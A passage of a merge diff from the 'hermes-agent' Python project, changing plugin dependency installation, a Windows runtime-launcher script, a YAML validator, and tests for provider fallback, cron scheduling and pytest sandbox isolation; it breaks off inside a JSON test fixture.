tomllib.loads(pyproject.read_text(encoding="utf-8-sig"))- changed = False++ changed = declaration.install_requirements != declaration.requirements++ if changed:++ document["project"]["dependencies"] = list(declaration.install_requirements)+ for sources in document.get("tool", {}).get("uv", {}).get("sources", {}).values():+ for spec in sources if isinstance(sources, list) else [sources]:+ if not isinstance(spec, dict) or "path" not in spec:+ continue+ relative = Path(spec["path"])+ if relative.is_absolute():+ continue+ resolved = (plugin_dir / relative).resolve()+ if resolved.is_relative_to(plugin_dir.resolve()):+ continue # The referenced tree was copied with this member.+ spec["path"] = (identity / relative).resolve().as_posix()+ changed = True+ if changed:+ import tomli_w++ (member / "pyproject.toml").write_text(tomli_w.dumps(document), encoding="utf-8")+ return member- specs = declaration.requirements++ specs = declaration.install_requirements+ member = root / "plugin-deps" / key+ member.mkdir(parents=True)+ (member / "pyproject.toml").write_text(+ f'[project]\nname = "hermes-plugin-{key}"\nversion = "0.0.0"\n'+ 'requires-python = ">=3.11"\n'+ f'dependencies = {json.dumps(specs)}\n[tool.uv]\npackage = false\n',+ encoding="utf-8",+ )+ return member+++def install_node_sidecar(+ plugin_dir: Path,+ *,+ explicit: bool = False,+) -> Optional[str]:+ """Install plugin-local dependencies using PM's paired npm/Node context.++ Explicit user consent permits acquisition even when on-demand installs+ are disabled. Returns None on success, otherwise a diagnostic.+ """+ package_json = plugin_dir / "package.json"+ if not package_json.is_file():+ return None # nothing to install++ import pm+ from pm.ensure import lazy_installs_allowed++ # Tool availability does not authorize mutation of the sidecar itself.+ if not explicit and not lazy_installs_allowed():+ return "lazy installs are disabled — run `hermes plugins install` and approve Node dependencies"++ # a lockfile means reproducible `npm ci`; plain `npm install` otherwise+ install_cmd = ["ci"] if (plugin_dir / "package-lock.json").is_file() else ["install"]+ try:+ runner = pm.ensure("npm", explicit=explicit)+ # Resolve inside the composed context, including npm.cmd on Windows;+ # CreateProcess does not search a child's replacement PATH itself.+ npm = shutil.which("npm", path=runner.env.get("PATH", ""))+ if npm is None:+ return "npm is missing from the prepared PM environment"+ proc = runner.run(+ [npm, *install_cmd, "--no-audit", "--no-fund"],+ cwd=str(plugin_dir),+ capture_output=True,+ text=True,+ encoding="utf-8",+ errors="replace",+ timeout=900,+ )+ except Exception as exc:+ return f"npm {install_cmd[0]} failed to run: {exc}"+ if proc.returncode != 0:+ tail = (proc.stderr or proc.stdout or "").strip()[-300:]+ return f"npm {install_cmd[0]} exited {proc.returncode}: {tail}"+ return None+++def lock_and_sync(+ plugin_dirs: list[Path] | Mapping[Path, Path],+ extras: list[str],+ *,+ root: Path,+ source: Path,+ seed_lock: Path | None,+ environment: PythonEnvironment,+ frozen: bool = False,+ replay: Path | None = None,+) -> None:+ """Prepare a fresh generation using explicit inputs and a prepared engine.++ The caller selects the seed; uv retains its compatible versions. Repair+ copies the recorded build inputs and never reads current manifests.+ Resolver conflicts remain distinct from download/build failures.+ """+ if root.exists() or root.is_symlink():+ raise InstallError("venv", f"workspace must be fresh: {root}")+ if replay is None:+ _generate_pyproject(plugin_dirs, root, source=source)+ if seed_lock is not None:+ (root / "uv.lock").write_bytes(seed_lock.read_bytes())+ else:+ if not (replay / "pyproject.toml").is_file() or not (replay / "uv.lock").is_file():+ raise InstallError("venv", f"recorded workspace is missing: {replay}")+ # Sibling generations keep external relative paths at the same depth;+ # snapshotted members and their exact lock travel with the workspace.+ # Use the snapshot's exclusions: build/ may hold an in-tree backend.+ shutil.copytree(replay, root, symlinks=True, ignore=_member_ignored)+ frozen = True++ environment.sync(root, extras=extras, frozen=frozen)diff --cc pyproject.tomlindex e6e58217a88,34c382a6e47..e2c72f3768b--- a/pyproject.toml+++ b/pyproject.toml@@@ -1,5 -1,5 +1,7 @@@++++[project]name = "hermes-agent"version = "0.21.3"diff --cc scripts/check_compat_pointers.pyindex 2e99dada330,4db8d9136f6..fb9490fe58a--- a/scripts/check_compat_pointers.py+++ b/scripts/check_compat_pointers.py@@@ -28,15 -31,16 +31,16 @@@ ROOT_SKIP_DIRS = DEPENDENCY_DIRS |def _py_files():- for dirpath, dirnames, filenames in os.walk(ROOT):- excluded = ROOT_SKIP_DIRS if Path(dirpath) == ROOT else DEPENDENCY_DIRS- dirnames[:] = [name for name in dirnames if name not in excluded]- for filename in filenames:- if not filename.endswith(".py") or filename == "check_compat_pointers.py":- continue- # The compat layer's own contract test uses the pointers on purpose; it is deleted with them.- if filename == "test_compat_manifest_targets.py":+ def fail(error):+ raise error++ for directory, dirs, files in os.walk(ROOT, onerror=fail):- dirs[:] = [name for name in dirs if name not in SKIP_DIRS and not name.startswith(".")]++ excluded = ROOT_SKIP_DIRS if Path(directory) == ROOT else DEPENDENCY_DIRS++ dirs[:] = [name for name in dirs if name not in excluded and not name.startswith(".")]+ for name in files:+ if not name.endswith(".py") or name in {"check_compat_pointers.py", "test_compat_manifest_targets.py"}:continue- yield Path(dirpath) / filename+ yield Path(directory) / namedef main() -> int:diff --cc scripts/desktop-update/runtime.ps1index 95719b359a7,00000000000..283b02b0db8mode 100644,000000..100644--- a/scripts/desktop-update/runtime.ps1+++ b/scripts/desktop-update/runtime.ps1@@@ -1,53 -1,0 +1,55 @@@+function Get-HermesRuntimeCommand {+ param(+ [Parameter(Mandatory = $true)][string]$InstallRoot,+ [string]$Module = 'hermes_cli.main'+ )++ # The launcher owns interpreter/ABI and generation selection. Never infer+ # PM's store layout or borrow a different installation's PATH command.+ foreach ($name in @('hermes.exe', 'hermes.cmd')) {+ $launcher = Join-Path $InstallRoot ".hermes\bin\$name"+ if (Test-Path -LiteralPath $launcher -PathType Leaf) {+ $json = & $launcher --print-runtime-command --module $Module+ if ($LASTEXITCODE) { throw "Installation launcher failed (exit $LASTEXITCODE): $launcher" }+ $command = @((($json -join "`n") | ConvertFrom-Json))+ if ($command.Count -lt 2 -or @($command | Where-Object { $_ -isnot [string] -or -not $_ }).Count) {+ throw "Installation launcher returned invalid command: $launcher"+ }+ return $command+ }+ }++ # Earlier PM installers published only to user-bin. The established+ # --version surface reports the bound source root; never trust PATH alone.+ if (Test-Path -LiteralPath (Join-Path $InstallRoot 'hermes_cli/_launchers.py') -PathType Leaf) {+ $directories = @(+ (Join-Path $env:HERMES_HOME 'bin'),+ (Join-Path (Split-Path -Parent $InstallRoot) 'bin')+ )+ if ($env:LOCALAPPDATA) { $directories += Join-Path $env:LOCALAPPDATA 'hermes/bin' }+ foreach ($directory in ($directories | Select-Object -Unique)) {+ foreach ($name in @('hermes.exe', 'hermes.cmd')) {+ $legacy = Join-Path $directory $name+ if (-not (Test-Path -LiteralPath $legacy -PathType Leaf)) { continue }+ $version = (& $legacy --version 2>$null) -join "`n"+ if ($LASTEXITCODE -or $version -notmatch '(?m)^Install directory: (.+)\r?$') { continue }+ $reported = [IO.Path]::GetFullPath($Matches[1].Trim()).TrimEnd('\', '/')+ $expected = [IO.Path]::GetFullPath($InstallRoot).TrimEnd('\', '/')+ if (-not [string]::Equals($reported, $expected, [StringComparison]::OrdinalIgnoreCase)) { continue }+ if ($Module -ne 'hermes_cli.main') {+ throw "This older installation needs its launcher refreshed before running $Module. Run the update through $legacy."+ }+ return @($legacy)+ }+ }+ }++ # Only an older, pre-PM checkout may use the historical interpreter.+ if (-not (Test-Path -LiteralPath (Join-Path $InstallRoot 'pm') -PathType Container)) {- $python = Join-Path $InstallRoot 'venv\Scripts\python.exe'- if (Test-Path -LiteralPath $python -PathType Leaf) { return @($python, '-m', $Module) }++ foreach ($directory in @('venv', '.venv')) {++ $python = Join-Path $InstallRoot "$directory\Scripts\python.exe"++ if (Test-Path -LiteralPath $python -PathType Leaf) { return @($python, '-m', $Module) }++ }+ }+ throw "Installation launcher is missing under $InstallRoot\.hermes\bin. Repair this installation."+}diff --cc scripts/run_tests_parallel.pyindex bc9effec2fd,4d5e0712f83..602e4ea23f1mode 100644,100755..100644--- a/scripts/run_tests_parallel.py+++ b/scripts/run_tests_parallel.pydiff --cc scripts/validate_plugin_catalog.pyindex ed55644fbd3,0ced5791b69..f65335889bb--- a/scripts/validate_plugin_catalog.py+++ b/scripts/validate_plugin_catalog.py@@@ -29,12 -29,13 +29,13 @@@ import jsoimport reimport sysfrom pathlib import Path+ from urllib.parse import urlsplittry:- import yaml+ from ruamel.yaml import YAML, YAMLErrorexcept ImportError: # pragma: no cover - dependency guidance onlyprint(- "ERROR: PyYAML is required (pip install pyyaml)",+ "ERROR: ruamel.yaml is required (pip install ruamel.yaml==0.18.17)",file=sys.stderr,)sys.exit(2)diff --cc tests/agent/test_auxiliary_auth_rung_fallthrough.pyindex 00000000000,5e64f508045..ca20ec08ed9mode 000000,100644..100644--- a/tests/agent/test_auxiliary_auth_rung_fallthrough.py+++ b/tests/agent/test_auxiliary_auth_rung_fallthrough.py@@@ -1,0 -1,307 +1,307 @@@+ """The auxiliary recovery ladder must not let a failed auth-refresh retry escape.++ Both auth-refresh rungs in ``agent/auxiliary_client.py`` perform their retry with a+ bare ``yield`` inside a ``return`` statement:++ if _is_auth_error(first_err) and client_is_nous:+ step = _refreshed_nous_step(...)+ if step is not None:+ return (yield step), None # nous rung+ ...+ return (yield _LadderStep(+ "retry_same_provider", ...)), None # generic credential rung++ ``_rung()`` exists to convert a retry failure into ``(None, exc)`` -- but only when the+ rung's accept predicate claims the error -- so the caller can fall through to the next+ rung. An unclaimed failure (a 500, a malformed response) re-raises on purpose, since+ ``_ladder_provider_fallback`` only acts on the reasons in ``_FALLBACK_REASONS``.+ Used this way no exception is caught: when the+ refreshed client also fails (e.g. an out-of-credit 404 on a stale Nous runtime token),+ the error escapes ``_aux_recovery_ladder`` and ``_ladder_provider_fallback`` never+ runs -- the configured ``auxiliary.<task>.fallback_chain`` is silently skipped. The+ rung right below (credential-pool rotation) documents the intended behavior with "then+ fall through to the provider fallback" and guards its retry with try/except.++ The first test drives the real ladder generator with a scripted driver. The second+ exercises the real path end to end: a temp ``HERMES_HOME`` whose ``config.yaml``+ declares a ``fallback_chain``, the real client construction and HTTP layer against a+ local endpoint, with only the credential sources stubbed (the Nous portal account+ probe and the runtime-credential fetch are external boundaries).+ """++ import asyncio+ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer+ import json+ import socket+ import threading+ from typing import Optional++ import pytest-import yaml++import hermes_yaml as yaml++ import agent.auxiliary_client as aux++ AUX_MODEL = "z-ai/glm-5.3-flash"+ FALLBACK_MODEL = "fallback-model"+ NOUS_HOST = "inference-api.nousresearch.com"+++ class _ApiError(Exception):+ def __init__(self, message, status_code=None):+ super().__init__(message)+ self.status_code = status_code+++ def _auth_error():+ return _ApiError("Error code: 401 - Unauthorized", status_code=401)+++ def _credit_error():+ return _ApiError(+ "Error code: 404 - Model '%s' requires available credits. "+ "Your account balance is too low to use paid models." % AUX_MODEL,+ status_code=404,+ )+++ class _FakeClient:+ api_key = "sk-test"+ base_url = "https://%s/v1" % NOUS_HOST+++ def _ladder(base_info=("https://%s/v1" % NOUS_HOST), resolved_provider="nous"):+ return aux._aux_recovery_ladder(+ _auth_error(),+ client=_FakeClient(),+ kwargs={"model": AUX_MODEL},+ task="compression",+ async_mode=False,+ base_info=base_info,+ resolved_provider=resolved_provider,+ resolved_model=AUX_MODEL,+ resolved_base_url=None,+ resolved_api_key=None,+ resolved_api_mode=None,+ final_model=AUX_MODEL,+ max_tokens=None,+ main_runtime=None,+ route_info={},+ )+++ @pytest.fixture+ def hermetic(monkeypatch):+ """Keep the ladder off the network and record the provider-fallback rung."""+ chain_calls = []++ def _fake_provider_fallback(first_err, route):+ """Stands in for the last rung: a generator that performs no steps."""+ chain_calls.append(first_err)+ yield from ()+ return "chain-response"++ monkeypatch.setattr(aux, "_recoverable_pool_provider", lambda *a, **kw: None)+ monkeypatch.setattr(aux, "_nous_portal_account_has_fresh_paid_access", lambda: False)+ monkeypatch.setattr(aux, "_ladder_provider_fallback", _fake_provider_fallback)+ return chain_calls+++ @pytest.mark.parametrize(+ "rung,retry_succeeds",+ [("nous", False), ("nous", True), ("provider_credential", False)],+ )+ def test_post_refresh_retry_owns_the_ladder_outcome(+ rung, retry_succeeds, monkeypatch, hermetic):+ """A failed retry resumes the ladder; a successful one returns its response."""+ if rung == "nous":+ monkeypatch.setattr(aux, "_refresh_nous_auxiliary_client",+ lambda **kwargs: (_FakeClient(), AUX_MODEL))+ expected_step, expected_base = "call", ("https://%s/v1" % NOUS_HOST)+ else:+ monkeypatch.setattr(aux, "_auth_refresh_provider_for_route",+ lambda *a, **kw: "codex")+ monkeypatch.setattr(aux, "_refresh_provider_credentials", lambda *a, **kw: True)+ monkeypatch.setattr(aux, "_evict_cached_clients", lambda *a, **kw: None)+ expected_step, expected_base = "retry_same_provider", "https://openrouter.ai/api/v1"++ ladder = _ladder(+ base_info=expected_base,+ resolved_provider="nous" if rung == "nous" else "openrouter",+ )+ performed = []+ failure = _credit_error()++ def perform(step):+ performed.append(step.kind)+ if retry_succeeds:+ return "refreshed-client-response"+ raise failure++ if retry_succeeds:+ assert aux._drive_ladder(ladder, perform) == "refreshed-client-response"+ assert hermetic == [], "a successful retry must not reach the fallback chain"+ return++ try:+ result = aux._drive_ladder(ladder, perform)+ except _ApiError as exc:+ pytest.fail(+ "the ladder let %r escape instead of falling through to the configured "+ "fallback chain (steps performed: %s)" % (exc, performed)+ )++ assert performed == [expected_step], "the post-refresh retry is the only request"+ assert hermetic, "the configured fallback chain must be consulted"+ assert "requires available credits" in str(hermetic[0])+ assert result == "chain-response"+++ @pytest.fixture+ def nous_ladder_endpoint(monkeypatch):+ """A local endpoint that answers the Nous host, recording every request.++ The routing decision that selects the auth-refresh rung matches on the base URL+ host, so the endpoint is addressed as the real Nous host and ``getaddrinfo`` is+ redirected to the loopback server.+ """+ aux.shutdown_cached_clients()+ aux._reset_aux_unhealthy_cache()+ requests = []+ resolve_address = socket.getaddrinfo++ def local_nous_address(host, *args, **kwargs):+ if host in (NOUS_HOST, NOUS_HOST.encode()):+ host = "127.0.0.1"+ return resolve_address(host, *args, **kwargs)++ monkeypatch.setattr(socket, "getaddrinfo", local_nous_address)+ monkeypatch.setenv("NO_PROXY", "127.0.0.1,localhost,%s" % NOUS_HOST)++ class Handler(BaseHTTPRequestHandler):+ def _send(self, status, payload):+ body = json.dumps(payload).encode()+ self.send_response(status)+ self.send_header("Content-Type", "application/json")+ self.send_header("Content-Length", str(len(body)))+ self.end_headers()+ self.wfile.write(body)++ def do_POST(self):+ payload = json.loads(self.rfile.read(int(self.headers["Content-Length"])))+ requests.append((self.path, payload))+ model = payload.get("model")+ if model is None:+ self._send(400, {"error": {"message": "unexpected payload without model"}})+ return+ if model == AUX_MODEL:+ # Stale runtime token: 401 on the first attempt, then the refreshed+ # client hits a model the account cannot pay for.+ if sum(1 for _p, body in requests if body["model"] == AUX_MODEL) == 1:+ self._send(401, {"error": {"message": "Unauthorized", "type": "authentication_error"}})+ return+ self._send(404, {"error": {+ "message": "Model '%s' requires available credits. Your account "+ "balance is too low to use paid models." % AUX_MODEL,+ "type": "invalid_request_error",+ "code": "insufficient_credits",+ }})+ return+ self._send(200, {+ "id": "chatcmpl-ladder",+ "created": 1,+ "model": model,+ "object": "chat.completion",+ "choices": [{+ "index": 0,+ "message": {"role": "assistant", "content": "The task is complete."},+ "finish_reason": "stop",+ }],+ "usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15},+ })++ def log_message(self, *_args):+ pass++ server = ThreadingHTTPServer(("127.0.0.1", 0), Handler)+ thread = threading.Thread(+ target=server.serve_forever, kwargs={"poll_interval": 0.01}, daemon=True+ )+ thread.start()+ try:+ yield "http://%s:%d" % (NOUS_HOST, server.server_port), requests+ finally:+ aux.shutdown_cached_clients()+ server.shutdown()+ server.server_close()+ thread.join(timeout=5)+++ def test_auth_refresh_retry_failure_reaches_the_configured_chain_over_http(+ tmp_path, monkeypatch, nous_ladder_endpoint):+ """End to end: the configured chain must serve the retry the refresh could not."""+ host_url, requests = nous_ladder_endpoint+ local_url = "http://127.0.0.1:%s" % host_url.rsplit(":", 1)[1]+ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ monkeypatch.setenv("AUX_FB_KEY", "fallback-test-key")+ config = {+ "model": {"provider": "nous", "default": AUX_MODEL},+ "providers": {"aux-fb": {"base_url": local_url + "/v1", "key_env": "AUX_FB_KEY"}},+ "auxiliary": {+ "compression": {+ "provider": "custom",+ "model": AUX_MODEL,+ "base_url": host_url + "/v1",+ "timeout": 20,+ "fallback_chain": [+ {"provider": "custom:aux-fb", "model": FALLBACK_MODEL,+ "base_url": local_url + "/v1", "timeout": 20}+ ],+ }+ },+ }+ (tmp_path / "config.yaml").write_text(yaml.safe_dump(config), encoding="utf-8")+ # Credential boundaries: the account probe and the runtime-credential fetch.+ monkeypatch.setattr(aux, "_nous_portal_account_has_fresh_paid_access", lambda: False)+ monkeypatch.setattr(+ aux, "_resolve_nous_runtime_api",+ lambda **kwargs: ("fresh-nous-key", host_url + "/v1"),+ )++ response = aux.call_llm(+ task="compression",+ messages=[{"role": "user", "content": "Summarize the conversation so far."}],+ timeout=20,+ )++ assert response.choices[0].message.content == "The task is complete."+ seen = [+ body.get("model") for path, body in requests if path == "/v1/chat/completions"+ ]+ assert seen == [AUX_MODEL, AUX_MODEL, FALLBACK_MODEL], (+ "401, then the refreshed retry fails on credits, then the configured chain: %r"+ % (seen,)+ )+++ def test_exhausted_ladder_raises_the_narrowed_error(monkeypatch, hermetic):+ """No chain answers: the retry's own failure surfaces, not the healed 401."""+ monkeypatch.setattr(aux, "_refresh_nous_auxiliary_client",+ lambda **kwargs: (_FakeClient(), AUX_MODEL))++ def _no_chain(first_err, route):+ hermetic.append(first_err)+ yield from ()+ return None++ monkeypatch.setattr(aux, "_ladder_provider_fallback", _no_chain)+ failure = _credit_error()++ def perform(step):+ raise failure++ with pytest.raises(_ApiError) as raised:+ aux._drive_ladder(_ladder(), perform)++ assert raised.value is failure, (+ "the ladder must surface the actionable retry failure, got %r" % (raised.value,))+ assert hermetic == [failure]diff --cc tests/agent/test_provider_fallback.pyindex be32455931b,bec324eeaa5..f8af48a090d--- a/tests/agent/test_provider_fallback.py+++ b/tests/agent/test_provider_fallback.py@@@ -510,3 -510,68 +510,68 @@@ class TestFallbackExtraBodyReResolutionagent.request_overrides["temperature"] = 0.2self._activate(agent)assert agent.request_overrides.get("temperature") == 0.2+++ # ── MoA preset as a fallback entry (#112525, #112623) ─────────────────────+++ def _write_moa_home(tmp_path, monkeypatch):+ """Real config.yaml with a MoA preset under a temp HERMES_HOME (genuine preset resolution)."""- import yaml++ import hermes_yaml as yaml++ home = tmp_path / ".hermes"+ home.mkdir(exist_ok=True)+ (home / "config.yaml").write_text(yaml.safe_dump({+ "moa": {"default_preset": "default", "presets": {"default": {+ "enabled": True,+ "reference_models": [{"provider": "xai", "model": "grok-4-fast"}],+ "aggregator": {"provider": "xai", "model": "grok-4.6"},+ }}},+ }))+ monkeypatch.setenv("HERMES_HOME", str(home))+ return home+++ def _assert_bound_to_moa_preset(agent, preset="default"):+ from agent.conversation_loop import _moa_client_consumes_prepared_request++ assert (agent.provider, agent.requested_provider, agent.model) == ("moa", "moa", preset)+ assert (agent.base_url, agent.api_mode) == ("moa://local", "chat_completions")+ assert agent._client_kwargs == {}+ assert _moa_client_consumes_prepared_request(agent.client)+++ class TestMoaPresetFallback:+ def test_runtime_fallback_to_moa_preset_binds_the_facade(self, tmp_path, monkeypatch):+ """#112525 / #112623: a ``{provider: moa, model: <preset>}`` fallback entry activates the+ preset (facade, ``moa://local``), never the aggregator's HTTP client wearing the virtual+ identity (preset name on the aggregator wire → 404; ``provider == "moa"`` guards misfire)."""+ _write_moa_home(tmp_path, monkeypatch)+ agent = _make_agent(fallback_model={"provider": "moa", "model": "default"})+ aggregator_client = _mock_client(base_url="https://api.x.ai/v1/", api_key="xai-key")+ with patch("agent.auxiliary_client.resolve_provider_client",+ return_value=(aggregator_client, "grok-4.6")):+ assert agent._try_activate_fallback() is True+ _assert_bound_to_moa_preset(agent)+ assert agent.client is not aggregator_client+ assert agent._provider_fallback_route == ("default", "moa")++ def test_init_time_fallback_to_moa_preset_binds_the_facade(self, tmp_path, monkeypatch):+ """Primary without credentials at init walks the chain: a MoA entry lands on the preset+ with virtual pins, not on the aggregator slug with the aggregator's kwargs."""+ _write_moa_home(tmp_path, monkeypatch)+ aggregator_client = _mock_client(base_url="https://api.x.ai/v1/", api_key="xai-key")++ def _route(provider, model=None, **_kw):+ return (aggregator_client, "grok-4.6") if provider == "moa" else (None, None)++ with (+ patch("model_tools.get_tool_definitions", return_value=[]),+ patch("model_tools.check_toolset_requirements", return_value={}),+ patch("agent.auxiliary_client.resolve_provider_client", side_effect=_route),+ ):+ agent = AIAgent(model="anthropic/claude-sonnet-4.5", provider="openrouter",+ quiet_mode=True, skip_context_files=True, skip_memory=True,+ fallback_model={"provider": "moa", "model": "default"})+ _assert_bound_to_moa_preset(agent)+ assert agent._fallback_activated is Truediff --cc tests/agent/test_subdirectory_hints.pyindex aa3d3aa817b,eef49f3eee4..9dbdc5d97b9--- a/tests/agent/test_subdirectory_hints.py+++ b/tests/agent/test_subdirectory_hints.py@@@ -131,9 -133,13 +133,13 @@@ class TestSubdirectoryHintTrackerresult = tracker.check_tool_call("read_file", {"path": str(sub / "file.py")})assert result is not Noneassert "HEAD-MARKER" in result and "TAIL-MARKER" in result- assert "truncated AGENTS.md" in result and "bigdir/AGENTS.md" in result+ assert "truncated AGENTS.md" in result and str(Path("bigdir") / "AGENTS.md") in resultassert len(result) < len(body)assert any("TRUNCATED" in r.message and "AGENTS.md" in r.message for r in caplog.records)+ # A preview capped by a constant is not a context_file_max_chars problem: no chat status warning is+ # queued and the log does not send the user to a knob that cannot raise the cap (#111772).+ assert drain_truncation_warnings() == []+ assert "context_file_max_chars" not in caplog.textdef test_area_file_under_ceiling_is_delivered_whole(self, tmp_path):"""An area AGENTS.md sized like ours (well under the ceiling) arrives intact — no marker."""diff --cc tests/conftest.pyindex 5f297642863,f020209ef81..be2e366f2a3--- a/tests/conftest.py+++ b/tests/conftest.py@@@ -1182,73 -1233,43 +1252,108 @@@ _PLATFORM_ALIASES =}+def _platform_machine() -> str:+ import platform as _platform++ machine = (_platform.machine() or "").lower()+ return {"amd64": "x86_64", "x86": "x86_64", "aarch64": "arm64"}.get(machine, machine)+++def _host_matches_platforms(conditions, arch=None, arch_negate=False):+ """Evaluate a platforms() marker payload against the running host.++ Returns ``(ok, skip_reason)``.+ """+ host = sys.platform.lower()+ machine = _platform_machine()+ specs = [str(c).strip().lower() for c in conditions if str(c).strip()]+ if not specs:+ return True, "platforms() with no specs matches every host"+ for spec in specs:+ negate = spec.startswith("not ")+ leaf = spec[4:].strip() if negate else spec+ if leaf not in _PLATFORM_ALIASES:+ return False, f"platforms(): unknown spec {spec!r}"+ wanted = _PLATFORM_ALIASES[leaf]+ matched = (not wanted) or host in wanted+ if negate:+ matched = not matched+ if matched:+ break+ else:+ return False, f"platforms({', '.join(specs)}); host is {sys.platform}"+ if arch is not None:+ arch_l = str(arch).lower()+ arch_hit = machine == arch_l or (+ arch_l in {"arm64", "aarch64"} and machine == "arm64"+ )+ if arch_negate:+ arch_hit = not arch_hit+ if not arch_hit:+ return False, (+ f"platforms(arch={'not ' if arch_negate else ''}{arch}); "+ f"host machine is {machine or 'unknown'}"+ )+ return True, ""+++def _platforms_gate_reason(item):+ """Skip reason when the item's platforms() gating excludes this host."""+ for mark in item.iter_markers("platforms"):+ kwargs = dict(mark.kwargs)+ conds = list(mark.args)+ ok, reason = _host_matches_platforms(+ conds,+ arch=kwargs.pop("arch", None),+ arch_negate=kwargs.pop("arch_negate", False),+ )+ if kwargs:+ raise pytest.UsageError(+ f"{item.nodeid}: platforms() got unexpected keyword(s) "+ f"{sorted(kwargs)} — valid: arch, arch_negate"+ )+ if not ok:+ return reason+ return None+++ def _relocate_basetemp_outside_operator_home(config) -> None:+ """Move pytest's basetemp out of the operator's platform-native Hermes home.++ Every per-test sandbox is ``<basetemp>/.../hermes_test``. ``get_default_hermes_root()``+ prefers the platform-native home whenever ``HERMES_HOME`` sits *under* it, so a basetemp+ inside ``~/.hermes`` (or ``%LOCALAPPDATA%\\hermes``, where ``TEMP`` commonly lives on+ Windows) turns the sandbox back into the live install and ``get_profile_dir("default")``+ writes fixtures over the operator's config.yaml / .env / MEMORY.md (#111101).+ """+ from hermes_constants import _get_platform_default_hermes_home++ native = _get_platform_default_hermes_home().resolve()+ factory = config._tmp_path_factory+ given = factory._given_basetemp+ candidate = given if given is not None else Path(+ os.environ.get("PYTEST_DEBUG_TEMPROOT") or tempfile.gettempdir()+ )+ if not candidate.resolve().is_relative_to(native):+ return+ # The system temp dir may itself be inside the home (Windows TEMP under the+ # Hermes home). The repo is no escape either: the default install checks it+ # out *inside* the home (~/.hermes/hermes-agent). A sibling of the native+ # home is outside it by construction.+ safe_root = None if not Path(tempfile.gettempdir()).resolve().is_relative_to(native) else native.parent+ safe = Path(tempfile.mkdtemp(prefix="hermes-pytest-basetemp-", dir=safe_root))+ assert not safe.resolve().is_relative_to(native), (+ f"pytest basetemp {safe} still resolves inside the operator's Hermes home {native}; "+ "refusing to run the suite against the live install (pass --basetemp outside it)"+ )+ factory._given_basetemp = safe+ config.option.basetemp = str(safe)+++ @pytest.hookimpl(trylast=True) # after _pytest.tmpdir has built config._tmp_path_factorydef pytest_configure(config): # noqa: D401 — pytest hook"""Register markers used by hermetic conftest."""+ _relocate_basetemp_outside_operator_home(config)config.addinivalue_line("markers",f"{_LIVE_SYSTEM_GUARD_BYPASS_MARK}: bypass the live-system guard "diff --cc tests/cron/test_misfire_catchup.pyindex 644ac3b1420,3ad5aef3ea5..8ef55418e25--- a/tests/cron/test_misfire_catchup.py+++ b/tests/cron/test_misfire_catchup.py@@@ -159,15 -155,34 +159,40 @@@ class TestFireOverdueJobsjob = create_job(prompt="p", schedule="every 1h")_park_in_past(job["id"], minutes=30)- provider = SlowProvider()- start = time.monotonic()- assert fire_overdue_jobs(provider) == 1- assert time.monotonic() - start < 1.0 # returned before the run+ provider = BlockedProvider()+ try:+ # Must return while the dispatched run is still blocked.+ assert fire_overdue_jobs(provider) == 1+ # The run actually started off-thread (dispatch happened, not a skip).+ assert worker_running.wait(timeout=10)+ assert not provider._done.is_set()+ assert provider.fired == []+ finally:+ release.set()assert provider.wait_fired(timeout=10)assert provider.fired == [job["id"]]++ def test_estop_skips_sweep_and_next_sweep_after_resume_catches_up(+ self, tmp_cron_dir, tmp_path, monkeypatch+ ):+ """`hermes pause` must silence the backstop too — otherwise it force-fires every job+ that ESTOP held back. Nothing to unwind: the first sweep after `hermes resume`+ catches up through the ordinary claim_fire path."""+ from agent import estop++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ estop._logged_components.clear()+ job = create_job(prompt="p", schedule="every 1h")+ _park_in_past(job["id"], minutes=30)+ parked_at = get_job(job["id"])["next_run_at"]+ provider = RecordingProvider()++ estop.engage(reason="runaway fan-out")+ assert fire_overdue_jobs(provider) == 0+ assert provider.fired == []+ assert get_job(job["id"])["next_run_at"] == parked_at # nothing claimed or re-armed++ estop.disengage()+ assert fire_overdue_jobs(provider) == 1+ assert provider.wait_fired()+ assert provider.fired == [job["id"]]diff --cc tests/cron/test_script_claim_heartbeat.pyindex bc9c409c6e7,854f0f4bf3e..4c0b9208499--- a/tests/cron/test_script_claim_heartbeat.py+++ b/tests/cron/test_script_claim_heartbeat.py@@@ -494,18 -675,11 +616,19 @@@ def test_repeated_heartbeat_errors_cancmonkeypatch.setattr(scheduler, "heartbeat_fire_claim", heartbeat)monkeypatch.setattr(scheduler, "_run_one_job_body", run_body)monkeypatch.setattr(scheduler, "_RUN_CLAIM_HEARTBEAT_SECONDS", 0.01)- monkeypatch.setattr(scheduler, "_FIRE_CLAIM_HEARTBEAT_GRACE_SECONDS", 0.03)+ # Generous grace (30x the interval, not 3x): the heartbeat thread competes+ # with 36-way parallel test workers for the GIL/CPU; a couple of slow+ # ticks must not cancel before the run body's 0.5s wait completes+ # (loose-bounds rule for timing-sensitive tests).++ # Intervals well above Windows' ~15ms timer resolution so the grace window+ # reliably spans 3+ heartbeat ticks (10ms/30ms left only ~2 on win32).+ monkeypatch.setattr(scheduler, "_RUN_CLAIM_HEARTBEAT_SECONDS", 0.05)+ monkeypatch.setattr(scheduler, "_FIRE_CLAIM_HEARTBEAT_GRACE_SECONDS", 0.3)assert scheduler.run_one_job(job) is True- assert calls >= 3+ assert calls >= 2, "cancellation must follow at least one failed renewal"+ assert cancellation_after[0] >= scheduler._FIRE_CLAIM_HEARTBEAT_GRACE_SECONDSdef test_terminal_owner_cas_failure_marks_ledger_ownership_lost(monkeypatch):diff --cc tests/fixtures/spark_failing_turn_shape.jsonindex 00000000000,c6f3c3d45e8..aa878b73badmode 000000,100644..100644--- a/tests/fixtures/spark_failing_turn_shape.json+++ b/tests/fixtures/spark_failing_turn_shape.json@@@ -1,0 -1,91 +1,90 @@@+ [+ {+ "role": "user",+ "content": "Investigate the installed 'agy' CLI and summarize its version and capabilities in one report."+ },+ {+ "role": "assistant",+ "content": "",+ "codex_reasoning_items": [+ {"type": "reasoning", "id": "rs_fixture_01", "summary": [{"type": "summary_text", "text": "Batched three tool calls to inspect the CLI."}], "encrypted_content": "synthetic-encrypted-content-placeholder-0001-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"},+ {"type": "reasoning", "id": "rs_fixture_02", "summary": [], "encrypted_content": 